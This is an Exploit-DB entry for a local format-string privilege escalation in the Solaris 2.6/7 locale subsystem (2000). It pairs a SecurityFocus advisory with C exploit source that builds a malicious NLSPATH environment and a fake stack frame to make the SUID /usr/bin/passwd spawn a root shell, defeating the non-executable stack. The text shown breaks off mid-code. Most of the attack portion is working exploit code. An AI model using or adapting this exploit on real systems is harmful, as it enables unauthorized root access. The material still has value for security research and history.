Exploit-DB #20186
Description: Solaris 2.6/7.0 /locale - Subsystem Format String
Type: local
Platform: solaris
Date: 2000-11-02
Author: warning3

Exploit:
/*
source: https://www.securityfocus.com/bid/1634/info

nectiva 4.x/5.x,Debian 2.x,IBM AIX 3.x/4.x,Mandrake 7,RedHat 5.x/6.x,IRIX 6.x, Solaris 2.x/7/8,Turbolinux 6.x,Wirex Immunix OS 6.2 Locale Subsystem Format String
 
Many UNIX operating systems provide internationalization support according to the X/Open XPG3, XPG4 and Sun/Uniforum specifications using the of the locale subsystem. The locale subsystem comprises a set of databases that store language and country specific information and a set of library functions used to store, retrieve and generally manage that information.
 
In particular a database with messages used by almost all the operating system programs is keep for each supported language.
 
The programs access this database using the gettext(3), dgettext(3), dcgettext(3) C functions (Sun/Uniforum specifications) or catopen(3), catgets(3) and catclose(3) ( X/Open XPG3 and XPG4 specification).
 
Generally a program that needs to display a message to the user will obtain the proper language specific string from the database using the original message as the search key and printing the results using the printf(3) family of functions. By building and installing a custom messages database an attacker can control the output of the message retrieval functions that get feed to the printf(3) functions.
 
Bad coding practices and the ability to feed format strings to the later functions makes it possible for an attacker to execute arbitrary code as a privileged user (root) using almost any SUID program on the vulnerable systems.
 
Alternatively, on some operating systems, the problem can be exploited remotely using the environment variable passing options in telnetd. However, a remote attacker must be able to place the suitable messages database on the target host (i.e. anonymous ftp, NFS, email, etc.)
 
It should be noted under Linux this problem must be exploited in conjunction with a another flaw in glibc. On RedHat systems, it is possible to evade the protection built-into libc that patches this vulnerability and exploit userhelper to gain root access. RedHat has released packages to fix this vulnerability.
*/


/* exploit for locale subsystem format strings bug In Solaris with noexec stack.
 * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. 
 * ./ex -o -4 )
 *
 * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'`
 * usages: ./ex -h
 *
 * Thanks for Ivan Arce <iarce@core-sdi.com> who found this bug.
 * Thanks for horizon's great article about defeating noexec stack for Solaris.
 *
 * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN
 * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR.
 *
 *           by warning3@nsfocus.com (http://www.nsfocus.com)
 *                                     y2k/11/10
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/systeminfo.h>
#include <fcntl.h>
#include <dlfcn.h>

#define BUFSIZE 2048                    /* the size of format string buffer*/
#define BUFF    128                     /* the progname buffer size */
#define SHELL   "/bin/ksh"              /* shell name */
#define DEFAULT_NUM 68                  /* format strings number */
#define DEFAULT_RETLOC 0xffbefb44       /* default retloc address */
#define VULPROG  "/usr/bin/passwd"      /* vulnerable program name */

void usages(char *progname)
{

        int i;
        printf("Usage: %s \n", progname);
        printf("          [-h]             Help menu\n");
        printf("          [-n number]      format string's number\n");
        printf("          [-a align]       retloc buffer alignment\n");
        printf("          [-o offset]      retloc offset\n\n");

}

/* get current stack point address to guess Return address */
long get_sp(void)

 {
        __asm__("mov %sp,%i0");
 }


main( int argc, char **argv )

 {

        char *pattern, retlocbuf[BUFF], *env[11];
        char plat[BUFF], *ptr;
        long sh_addr, sp_addr, i;
        long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM,  align = 0, offset=0;
        long  *addrptr;
        long reth, retl, reth1, retl1;
        FILE *fp;
        

        extern int optind, opterr;
        extern char *optarg;
        int opt;

        void *handle;
        long execl_addr, fp_addr, fp1_addr;
        char fakeframe[512];
        char padding[64], pad = 0;
        int env_len, arg_len, len;

        char progname[BUFF];


        strncpy(progname, argv[0], BUFF-1);

        while ((opt = getopt(argc, argv, "n:a:o:h")) != -1)
                switch((char)opt)
                {

                        case 'n':
                                num = atoi(optarg);
                                break;

                        case 'a':
                                align = atoi(optarg);
                                break;
                        case 'o':
                                offset = atoi(optarg);
                                break;
                        case '?':
                        case 'h':
                        default:
                                usages(progname);
                                exit(0);
                }

        retloc +=  offset;
        
        /* get platform info  */
        sysinfo(SI_PLATFORM,plat,256);

        /* Construct fake frame in environ */
        
        env[0] = "NLSPATH=:.";
        env[1] = padding;      /* padding so that fakeframe's address can be divided by 4 */
        /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */
        env[2]=(fakeframe);     /* sh_addr|sh_addr|0x00                       */
        env[3]=&(fakeframe[40]);/*                     |0x00                  */
        env[4]=&(fakeframe[40]);/*                          |0x00             */
        env[5]=&(fakeframe[40]);/*                               |